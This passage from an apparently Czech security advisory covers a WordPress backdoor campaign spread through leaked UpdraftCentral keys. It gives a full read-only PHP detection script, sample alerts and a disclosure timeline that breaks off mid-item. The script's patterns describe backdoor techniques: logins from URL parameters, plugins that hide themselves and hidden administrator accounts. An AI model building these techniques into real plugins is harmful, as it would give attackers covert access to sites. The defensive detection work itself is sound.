style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, u\u017eivatele \u010dte p\u0159\u00edmo z datab\u00e1ze a upozorn\u00ed na administr\u00e1tory vytvo\u0159en\u00e9 od 17. 10. Verze 4 nav\u00edc zachyt\u00ed minim\u00e1ln\u00ed t\u0159et\u00ed variantu podle tokenu zapsan\u00e9ho p\u0159\u00edmo v k\u00f3du. Verze 5 hl\u00e1s\u00ed jako <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> i dal\u0161\u00ed pluginy, kter\u00e9 p\u0159ihla\u0161uj\u00ed podle parametru v URL. Upozornil n\u00e1s na to spr\u00e1vce, kter\u00fd na jednom webu na\u0161el star\u0161\u00ed backdoor <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">doctor-connectivity-query<\/code>, aktivn\u00ed od \u010dervna a s touto kampan\u00ed nesouvisej\u00edc\u00ed. Ten se skr\u00fdv\u00e1 ze seznamu plugin\u016f a bez p\u0159ihl\u00e1\u0161en\u00ed provede libovoln\u00fd k\u00f3d. \u00da\u010dty na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code> bez administr\u00e1torsk\u00fdch pr\u00e1v vytvo\u0159en\u00e9 p\u0159ed 17. 10., nap\u0159\u00edklad z\u00e1kazn\u00edky e-shopu registrovan\u00e9 boty, hl\u00e1s\u00ed verze 5 u\u017e jen jako <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code>. Verze 6 najde i zbyl\u00e9 volby prvn\u00ed varianty, kdy\u017e n\u00e1zev pluginu nekon\u010d\u00ed t\u0159emi hex znaky, nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">query_shelf_sync_token<\/code>. Verze 7 upozorn\u00ed, kdy\u017e na webu log UpdraftCentral v\u016fbec nen\u00ed, nap\u0159\u00edklad po odstran\u011bn\u00ed UpdraftPlus, a nehl\u00e1s\u00ed ho jako \u010dist\u00fd. Verze 8 upozorn\u00ed i na pluginy, kter\u00e9 se skr\u00fdvaj\u00ed ze seznamu plugin\u016f. Verze 9 upozorn\u00ed i na kl\u00ed\u010de UpdraftPlus Migrator. Verze 10 upozorn\u00ed i na heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1zi.<\/p>\n<p>Na webu A po odstran\u011bn\u00ed backdooru vyp\u00ed\u0161e:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">[OK]    No active UpdraftCentral connection.\n[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress\/6.4; class-udrpc.php).\n[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  &quot;Command received: plugin.upload_plugin&quot; (UA: WordPress\/6.4; class-udrpc.php). A plugin or theme was pushed to this site.\n[OK]    No backdoor plugin files found.\n[OK]    No backdoor options in the database.\n[OK]    No backdoor accounts or hidden admin-level users.<\/code><\/pre>\n<p>Skript si m\u016f\u017eete st\u00e1hnout i p\u0159\u00edmo:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">curl -o check-updraftcentral.php https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/check-updraftcentral.txt<\/code><\/pre>\n<p>SHA-256 skriptu: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cedb723aeed2d56c942a33a26d9ee3390c3ad02f1cfddd098cfbc8d5ea7dd935<\/code>. Cel\u00fd k\u00f3d:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/**\n * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.\n * Read-only. It changes nothing on the site.\n * v2: also detects the second variant, which creates a hidden administrator.\n * v3: catches its renamed samples by code and by &lt;slug&gt;_uid \/ &lt;slug&gt;_installed options, and checks wp-content\/upgrade.\n * v4: also detects the minimal variant: a token written into the code, compared with a URL parameter, then a login.\n * v5: warns about any plugin that logs visitors in from a URL parameter; @example.com accounts without\n *     admin rights that existed before the attack (e.g. shop customers) are a warning, not an alert.\n * v6: also finds first-variant options whose plugin name has no hex suffix (e.g. query_shelf_sync_token).\n * v7: says so when there is no UpdraftCentral log at all (e.g. UpdraftPlus was removed) instead of reporting it as clean.\n * v8: warns about plugins that hide themselves from the WordPress plugin list.\n * v9: also reports UpdraftPlus Migrator keys, which let another site send backup files over the same channel.\n * v10: warns when UpdraftPlus Premium keeps the teamupdraft.com account password in the database.\n *\n * Run in the WordPress root directory:\n *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes\n *\n * --skip-plugins matters: an installed copy of the backdoor crashes every request,\n * including WP-CLI, unless plugins are skipped.\n *\/\n\n$alerts = 0;\n$warnings = 0;\n$report = function ( $level, $message ) use ( &amp;$alerts, &amp;$warnings ) {\n\tif ( &#39;ALERT&#39; === $level ) $alerts++;\n\tif ( &#39;WARN&#39; === $level ) $warnings++;\n\techo str_pad( &quot;[$level]&quot;, 8 ), $message, &quot;\\n&quot;;\n};\n\necho &quot;UpdraftCentral backdoor check for &quot;, get_option( &#39;siteurl&#39; ), &quot;\\n\\n&quot;;\n\n\/\/ 1. Is the site connected to UpdraftCentral?\n$keys = get_option( &#39;updraft_central_localkeys&#39; );\nif ( is_array( $keys ) &amp;&amp; $keys ) {\n\tforeach ( $keys as $id =&gt; $key ) {\n\t\t$report( &#39;WARN&#39;, sprintf(\n\t\t\t&#39;UpdraftCentral connection is active: key %s, created %s by user &quot;%s&quot;. Delete it now.&#39;,\n\t\t\t$id,\n\t\t\tisset( $key[&#39;created&#39;] ) ? gmdate( &#39;Y-m-d&#39;, $key[&#39;created&#39;] ) : &#39;?&#39;,\n\t\t\tisset( $key[&#39;extra_info&#39;][&#39;user_login&#39;] ) ? $key[&#39;extra_info&#39;][&#39;user_login&#39;] : &#39;?&#39;\n\t\t) );\n\t}\n} else {\n\t$report( &#39;OK&#39;, &#39;No active UpdraftCentral connection.&#39; );\n}\n\/\/ UpdraftPlus Premium may keep the teamupdraft.com account password as entered until token login succeeds.\n$addons = get_option( &#39;updraftplus-addons_options&#39; );\nif ( ! is_array( $addons ) &amp;&amp; is_multisite() ) $addons = get_site_option( &#39;updraftplus-addons_options&#39; );\nif ( is_array( $addons ) &amp;&amp; ! empty( $addons[&#39;password&#39;] ) ) {\n\t$report( &#39;WARN&#39;, &#39;UpdraftPlus keeps the teamupdraft.com account password for &#39; . ( isset( $addons[&#39;email&#39;] ) ? $addons[&#39;email&#39;] : &#39;?&#39; ) . &#39; in the database (option updraftplus-addons_options). Remove it and change the password if any foreign code may have run on this site.&#39; );\n}\n\/\/ Migrator keys use the same UDRPC channel to receive backup files from another site.\n$migrator_keys = get_option( &#39;updraft_migrator_localkeys&#39; );\nforeach ( is_array( $migrator_keys ) ? $migrator_keys : array() as $hash =&gt; $key ) {\n\t$report( &#39;WARN&#39;, sprintf(\n\t\t&#39;UpdraftPlus Migrator key &quot;%s&quot; is active: another site can send backup files here with it. Delete it unless you are migrating right now.&#39;,\n\t\tisset( $key[&#39;name&#39;] ) ? $key[&#39;name&#39;] : $hash\n\t) );\n}\n\n\/\/ 2. What the site received over UpdraftCentral.\n$log = get_site_option( &#39;updraftcentral_client_log&#39; );\n$log_hits = 0;\nforeach ( is_array( $log ) ? $log : array() as $entry ) {\n\t$message = isset( $entry[&#39;message&#39;] ) ? $entry[&#39;message&#39;] : &#39;&#39;;\n\t$agent   = isset( $entry[&#39;http_user_agent&#39;] ) ? $entry[&#39;http_user_agent&#39;] : &#39;&#39;;\n\t$when    = isset( $entry[&#39;time&#39;] ) ? gmdate( &#39;Y-m-d H:i&#39;, $entry[&#39;time&#39;] ) . &#39; UTC&#39; : &#39;?&#39;;\n\t$ip      = isset( $entry[&#39;remote_ip&#39;] ) ? $entry[&#39;remote_ip&#39;] : &#39;?&#39;;\n\tif ( preg_match( &#39;\/upload_(plugin|theme)\/&#39;, $message ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; (UA: $agent). A plugin or theme was pushed to this site.&quot; );\n\t\t$log_hits++;\n\t} elseif ( false !== strpos( $message, &#39;probe.central.updraftplus.com&#39; ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;$when  $ip  probe for UpdraftCentral (UA: $agent).&quot; );\n\t\t$log_hits++;\n\t} elseif ( &#39;Command received&#39; === substr( $message, 0, 16 ) &amp;&amp; preg_match( &#39;\/class-udrpc\\.php$\/&#39;, $agent ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; from a client that is not UpdraftCentral Cloud (UA: $agent).&quot; );\n\t\t$log_hits++;\n\t}\n}\nif ( ! is_array( $log ) || ! $log ) {\n\t$report( &#39;INFO&#39;, &#39;There is no UpdraftCentral log on this site (no command ever arrived, or UpdraftPlus was removed). Check the access log for POST requests with the User-Agent &quot;WordPress\/6.4; class-udrpc.php&quot;.&#39; );\n} elseif ( ! $log_hits ) {\n\t$report( &#39;OK&#39;, &#39;UpdraftCentral log shows no plugin uploads, probes or foreign clients.&#39; );\n}\n\n\/\/ 3. Backdoor plugins in plugins and mu-plugins, plus leftovers of pushed plugins in wp-content\/upgrade\n\/\/ (a push that failed to install still leaves the unpacked plugin there).\n$is_backdoor = function ( $code ) {\n\treturn false !== strpos( $code, &#39;keeps option storage tidy&#39; )\n\t\t|| false !== strpos( $code, &#39;Improves cron tasks efficiency&#39; )\n\t\t|| false !== strpos( $code, &#39;keep service accounts out of the main user list&#39; )\n\t\t|| ( false !== strpos( $code, &quot;_sync_token&#39;&quot; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) &amp;&amp; false !== strpos( $code, &#39;hash_equals&#39; ) )\n\t\t|| ( false !== strpos( $code, &#39;pre_user_query&#39; ) &amp;&amp; false !== strpos( $code, &#39;pre_count_users&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) )\n\t\t|| ( preg_match( &#39;\/hash_equals\\(\\s*[\\&#39;&quot;][A-Za-z0-9_-]{20,}[\\&#39;&quot;]\/&#39;, $code ) &amp;&amp; false !== strpos( $code, &#39;$_GET&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) );\n};\n\/\/ Any plugin that logs visitors in based on a URL parameter, however it compares the key (older backdoors use ===).\n$logs_in_from_url = function ( $code ) {\n\treturn false !== strpos( $code, &#39;$_GET&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; );\n};\n\/\/ A plugin that removes itself from the WordPress plugin list, as Site Health Cache and doctor-connectivity-query do.\n$hides_itself = function ( $code ) {\n\treturn preg_match( &#39;\/add_filter\\(\\s*[\\&#39;&quot;]all_plugins[\\&#39;&quot;]\/&#39;, $code )\n\t\t&amp;&amp; preg_match( &#39;\/plugin_basename\\(\\s*__FILE__\\s*\\)\/&#39;, $code )\n\t\t&amp;&amp; preg_match( &#39;\/unset\\(\\s*\\$\\w+\\[\\s*\\$\\w+\\s*\\]\\s*\\)\/&#39;, $code );\n};\n$plugin_hits = 0;\n$files = array_merge(\n\t(array) glob( WP_PLUGIN_DIR . &#39;\/*\/*.php&#39; ),\n\t(array) glob( WPMU_PLUGIN_DIR . &#39;\/*.php&#39; ),\n\t(array) glob( WP_CONTENT_DIR . &#39;\/upgrade\/*\/*.php&#39; ),\n\t(array) glob( WP_CONTENT_DIR . &#39;\/upgrade\/*\/*\/*.php&#39; )\n);\nforeach ( $files as $file ) {\n\t$code = (string) @file_get_contents( $file, false, null, 0, 200000 );\n\t$where = 0 === strpos( $file, WP_CONTENT_DIR . &#39;\/upgrade\/&#39; ) ? &#39; (left in wp-content\/upgrade by a pushed plugin; the install may have failed)&#39; : &#39;&#39;;\n\tif ( $is_backdoor( $code ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor plugin file: $file$where&quot; . ( $hides_itself( $code ) ? &#39; It hides itself from the plugin list.&#39; : &#39;&#39; ) );\n\t\t$plugin_hits++;\n\t} elseif ( $logs_in_from_url( $code ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Plugin logs visitors in based on a URL parameter: $file$where. Make sure you know it.&quot; . ( $hides_itself( $code ) ? &#39; It also hides itself from the plugin list.&#39; : &#39;&#39; ) );\n\t\t$plugin_hits++;\n\t} elseif ( $hides_itself( $code ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Plugin hides itself from the WordPress plugin list: $file$where. Some management plugins (e.g. MainWP Child) can do this on purpose; make sure you know it.&quot; );\n\t\t$plugin_hits++;\n\t}\n}\nif ( ! $plugin_hits ) $report( &#39;OK&#39;, &#39;No backdoor plugin files found.&#39; );\n\n\/\/ 4. Options the backdoor leaves behind.\nglobal $wpdb;\n$option_hits = 0;\n\/\/ First variant: most plugin names end in three hex characters, but not all (query-shelf), so a name\n\/\/ without them counts only when its plugin is gone or is the backdoor itself.\nforeach ( $wpdb-&gt;get_col( &quot;SELECT option_name FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+(_[0-9a-f]{3})?_(sync_token|setup_stamp)$&#39;&quot; ) as $name ) {\n\t$slug = str_replace( &#39;_&#39;, &#39;-&#39;, preg_replace( &#39;\/_(sync_token|setup_stamp)$\/&#39;, &#39;&#39;, $name ) );\n\t$main = WP_PLUGIN_DIR . &quot;\/$slug\/$slug.php&quot;;\n\tif ( is_file( $main ) &amp;&amp; ! $is_backdoor( (string) @file_get_contents( $main, false, null, 0, 200000 ) ) ) continue;\n\t$report( &#39;ALERT&#39;, &quot;Backdoor option in the database: $name&quot; );\n\t$option_hits++;\n}\n\/\/ The working variant stores &lt;slug&gt;_installed and the ID of its hidden administrator in &lt;slug&gt;_uid.\n\/\/ Plugin names vary, so match the suffix and look at the plugin with the same slug.\nforeach ( $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name LIKE &#39;%\\\\_uid&#39; OR option_name LIKE &#39;%\\\\_installed&#39;&quot; ) as $o ) {\n\t$is_uid = &#39;_uid&#39; === substr( $o-&gt;option_name, -4 );\n\t$slug = str_replace( &#39;_&#39;, &#39;-&#39;, substr( $o-&gt;option_name, 0, $is_uid ? -4 : -10 ) );\n\t$main = WP_PLUGIN_DIR . &quot;\/$slug\/$slug.php&quot;;\n\t$code = is_file( $main ) ? (string) @file_get_contents( $main, false, null, 0, 200000 ) : &#39;&#39;;\n\t$u = ( $is_uid &amp;&amp; ctype_digit( (string) $o-&gt;option_value ) ) ? $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT user_login, user_email FROM {$wpdb-&gt;users} WHERE ID = %d&quot;, $o-&gt;option_value ) ) : null;\n\t$who = $u ? &quot; (user {$u-&gt;user_login} &lt;{$u-&gt;user_email}&gt;)&quot; : &#39;&#39;;\n\tif ( ( $u &amp;&amp; preg_match( &#39;\/@example\\.(com|org)$\/&#39;, $u-&gt;user_email ) ) || ( $code &amp;&amp; ( $is_backdoor( $code ) || $logs_in_from_url( $code ) ) ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor option in the database: {$o-&gt;option_name} = {$o-&gt;option_value}$who&quot; );\n\t\t$option_hits++;\n\t} elseif ( $is_uid &amp;&amp; $u &amp;&amp; ! is_dir( WP_PLUGIN_DIR . &quot;\/$slug&quot; ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Option {$o-&gt;option_name} points to an account, but plugin $slug is gone$who. Make sure you know this account.&quot; );\n\t\t$option_hits++;\n\t}\n}\nif ( ! $option_hits ) $report( &#39;OK&#39;, &#39;No backdoor options in the database.&#39; );\n\n\/\/ 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.\n\/\/ Read users straight from the table: the second variant tries to hide its account from get_users() and user counts.\n$user_hits = 0;\n$cap_key = $wpdb-&gt;get_blog_prefix() . &#39;capabilities&#39;;\n$flagged = array();\nforeach ( $wpdb-&gt;get_results( &quot;SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb-&gt;users} WHERE user_email LIKE &#39;%@example.org&#39; OR user_email LIKE &#39;%@example.com&#39; OR display_name IN (&#39;Site Tools&#39;, &#39;System Team&#39;, &#39;Web Tech&#39;, &#39;System Staff&#39;, &#39;System Ops&#39;, &#39;Cms Tech&#39;)&quot; ) as $user ) {\n\t\/\/ Bots also register shop customers at @example.com, so only admin-level or recent accounts are an alert.\n\t$caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n\t$admin_level = ! empty( $caps[&#39;administrator&#39;] ) || ! empty( $caps[&#39;manage_options&#39;] ) || ! empty( $caps[&#39;install_plugins&#39;] );\n\tif ( $admin_level || $user-&gt;user_registered &gt;= &#39;2026-10-17&#39; ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor-style account: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot;, registered {$user-&gt;user_registered}&quot; . ( $admin_level ? &#39;, with admin-level rights&#39; : &#39;&#39; ) );\n\t} else {\n\t\t$report( &#39;WARN&#39;, &quot;Account {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot; matches the backdoor pattern but has no admin-level rights and was registered on {$user-&gt;user_registered}. Probably unrelated; make sure you know it.&quot; );\n\t}\n\t$flagged[ $user-&gt;ID ] = true;\n\t$user_hits++;\n}\nforeach ( $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb-&gt;users} u JOIN {$wpdb-&gt;usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered &gt;= &#39;2026-10-17&#39; AND m.meta_value LIKE %s&quot;, $cap_key, &#39;%administrator%&#39; ) ) as $user ) {\n\tif ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n\t$report( &#39;WARN&#39;, &quot;Administrator created on {$user-&gt;user_registered}: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt;. Make sure you know this account.&quot; );\n\t$user_hits++;\n}\nforeach ( get_users( array( &#39;fields&#39; =&gt; array( &#39;ID&#39;, &#39;user_login&#39;, &#39;user_email&#39;, &#39;display_name&#39; ) ) ) as $user ) {\n\tif ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n\t$caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n\t$extra = array_intersect( array( &#39;manage_options&#39;, &#39;install_plugins&#39; ), array_keys( array_filter( $caps ) ) );\n\tif ( $extra &amp;&amp; empty( $caps[&#39;administrator&#39;] ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Non-administrator {$user-&gt;user_login} has extra capabilities: &quot; . implode( &#39;, &#39;, $extra ) );\n\t\t$user_hits++;\n\t}\n}\nif ( ! $user_hits ) $report( &#39;OK&#39;, &#39;No backdoor accounts or hidden admin-level users.&#39; );\n\necho &quot;\\n&quot;;\nif ( $alerts ) {\n\techo &quot;RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\\n&quot;;\n} elseif ( $warnings ) {\n\techo &quot;RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\\n&quot;;\n} else {\n\techo &quot;RESULT: no traces found.\\n&quot;;\n}<\/code><\/pre>\n<h2 id=\"pro\u010d-zve\u0159ej\u0148ujeme-hned\">Pro\u010d zve\u0159ej\u0148ujeme hned<\/h2>\n<p>Responsible disclosure znamen\u00e1 d\u00e1t v\u00fdrobci \u010das na opravu a zve\u0159ejnit podrobnosti a\u017e potom. Tady na to bohu\u017eel nen\u00ed d\u016fvod. \u00dato\u010dn\u00edk backdoory do instalac\u00ed WordPressu u\u017e aktivn\u011b \u0161\u00ed\u0159\u00ed a oprava od v\u00fdrobce majitel\u016fm web\u016f nepom\u016f\u017ee, dokud m\u00e1 \u00fato\u010dn\u00edk platn\u00e9 kl\u00ed\u010de. Jedin\u00e1 \u00fa\u010dinn\u00e1 ochrana je zru\u0161it spojen\u00ed s UpdraftCentral a web zkontrolovat, a to m\u016f\u017ee ud\u011blat ka\u017ed\u00fd spr\u00e1vce hned.<\/p>\n<p>Zve\u0159ejn\u011bn\u00ed \u00fato\u010dn\u00edkovi nepom\u016f\u017ee. K \u00fatoku pot\u0159ebuje platn\u00e9 kl\u00ed\u010de, kter\u00e9 u\u017e m\u00e1, a nic v tomto \u010dl\u00e1nku mu ned\u00e1v\u00e1 nov\u00fd zp\u016fsob \u00fatoku. Obr\u00e1nc\u016fm naopak d\u00e1v\u00e1 postup, jak se chr\u00e1nit. Backdoor nav\u00edc vyr\u00e1b\u00ed gener\u00e1tor, kter\u00fd pro ka\u017ed\u00fd web vytvo\u0159\u00ed jin\u00e1 jm\u00e9na, tokeny a hesla, co\u017e nazna\u010duje n\u00e1stroj ur\u010den\u00fd pro velk\u00fd po\u010det web\u016f. Ka\u017ed\u00e1 hodina \u010dek\u00e1n\u00ed d\u00e1v\u00e1 \u00fato\u010dn\u00edkovi \u010das na dal\u0161\u00ed weby.<\/p>\n<h2 id=\"komunikace-s-v\u00fdrobcem-a-bezpe\u010dnostn\u00edmi-firmami\">Komunikace s v\u00fdrobcem a bezpe\u010dnostn\u00edmi firmami<\/h2>\n<ul>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: hl\u00e1\u0161en\u00ed TeamUpdraft p\u0159es formul\u00e1\u0159 pr\u00e9miov\u00e9 podpory s logy a anal\u00fdzou pro web A<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dopln\u011bn\u00ed o \u00fatoky na weby B a C, druh\u00fd vzorek a porovn\u00e1n\u00ed User-Agent se skute\u010dn\u00fdm dashboardem<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: informovali jsme Wordfence a Patchstack, aby mohli p\u0159idat detekci a varovat dal\u0161\u00ed spr\u00e1vce<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft zve\u0159ejnil <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">vyj\u00e1d\u0159en\u00ed k bezpe\u010dnostn\u00edmu incidentu<\/a> a potvrdil \u00fanik z\u00e1kaznick\u00e9 datab\u00e1ze v\u010detn\u011b kl\u00ed\u010d\u016f UpdraftCentral<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft n\u00e1m v odpov\u011bdi na hl\u00e1\u0161en\u00ed potvrdil, \u017ee na jeho z\u00e1klad\u011b pova\u017euje kl\u00ed\u010de UpdraftCentral za kompromitovan\u00e9, a v\u0161echny z\u00e1kazn\u00edky UpdraftCentral \u017e\u00e1d\u00e1 odpojit a zkontrolovat ka\u017ed\u00fd web. Nouzov\u00e1 verze UpdraftPlus k uz\u00e1v\u011brce je\u0161t\u011b nevy\u0161la (posledn\u00ed je 1.26.11 ze 16. 10.).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Patchstack zve\u0159ejnil <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">vlastn\u00ed anal\u00fdzu<\/a> a potvrdil ob\u011b IP adresy \u00fato\u010dn\u00edka. Wordfence i Patchstack si vy\u017e\u00e1daly vzorky.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku jsme poslali vzorky z na\u0161ich web\u016f a pozd\u011bji i indik\u00e1tory funk\u010dn\u00ed varianty, kter\u00e9 n\u00e1m poskytl dal\u0161\u00ed spr\u00e1vce.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku jsme se souhlasem dal\u0161\u00edch dvou posti\u017een\u00fdch spr\u00e1vc\u016f poslali jejich vzorky v\u010detn\u011b minim\u00e1ln\u00ed t\u0159et\u00ed varianty a z\u00e1znamy o v\u00fdm\u011bn\u011b backdooru.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft odpov\u011bd\u011bl na na\u0161e dopl\u0148uj\u00edc\u00ed ot\u00e1zky. \u00dato\u010dn\u00edk m\u011bl p\u0159\u00edstup na teamupdraft.com od ve\u010dera soboty 17. 10., podez\u0159elou aktivitu v\u00fdrobce zjistil v ned\u011bli 18. 10. ve\u010der a \u00fanik potvrdil kolem 20:00 BST. P\u0159\u00edstup zablokoval, odhl\u00e1sil v\u0161echny \u00fa\u010dty a za\u010dal m\u011bnit kl\u00ed\u010de a p\u0159\u00edstupov\u00e9 \u00fadaje. Tajemstv\u00ed pro TOTP se podle v\u00fdrobce nedaj\u00ed ulo\u017eit jako hash, proto je p\u0159i \u00faniku datab\u00e1ze t\u0159eba po\u010d\u00edtat i s nimi. Jako nouzovou verzi uvedl 2.26.12, kter\u00e1 v\u0161ak kl\u00ed\u010de nesma\u017ee (viz v\u00fd\u0161e). Zda zve\u0159ejn\u00ed indik\u00e1tory kompromitace, zat\u00edm nev\u00ed.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: upozornili jsme TeamUpdraft, \u017ee verze 2.26.12 kl\u00ed\u010de nesma\u017ee a \u017ee hranice 18. 10. 12:07 UTC ve verzi 1.26.13 neodpov\u00edd\u00e1 jejich prohl\u00e1\u0161en\u00ed, a zeptali jsme se na dostupnost 2.26.13 pro pr\u00e9miov\u00e9 z\u00e1kazn\u00edky.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstack jsme informovali, \u017ee verze 2.26.12 kl\u00ed\u010de nesma\u017ee, o p\u0159edem za\u0161krtnut\u00e9m pol\u00ed\u010dku \u201eAdd this website to UpdraftCentral\u201c a o dal\u0161\u00edm vzorku prvn\u00ed varianty.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku jsme se souhlasem dal\u0161\u00edho 